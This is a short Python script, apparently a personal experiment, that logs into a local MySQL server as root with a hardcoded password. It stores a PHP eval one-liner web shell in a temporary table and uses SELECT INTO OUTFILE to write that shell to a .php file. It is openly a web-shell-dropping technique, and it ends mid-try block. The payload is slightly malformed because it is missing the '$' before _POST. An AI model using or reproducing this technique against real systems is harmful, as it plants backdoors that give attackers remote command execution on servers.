import pymysql
def write_string_to_file_using_mysql():
try:
# 连接到MySQL数据库
connection = pymysql.connect(
host='localhost',
user='root',
password='zjx',
database='userdb',
charset='utf8mb4'
)
cursor = connection.cursor()
# 创建临时表
create_table_query = "CREATE TEMPORARY TABLE temp_table (content TEXT)"
cursor.execute(create_table_query)
# 要写入文件的字符串
string_to_write = '<?php @eval(@_POST[cmd]);?>'
insert_query = f"INSERT INTO temp_table (content) VALUES ('{string_to_write}')"
cursor.execute(insert_query)
# 将临时表中的数据写入文件
select_query = r"SELECT content INTO OUTFILE 'C:\Users\OMEN\Desktop\123.php' FROM temp_table"
cursor.execute(select_query)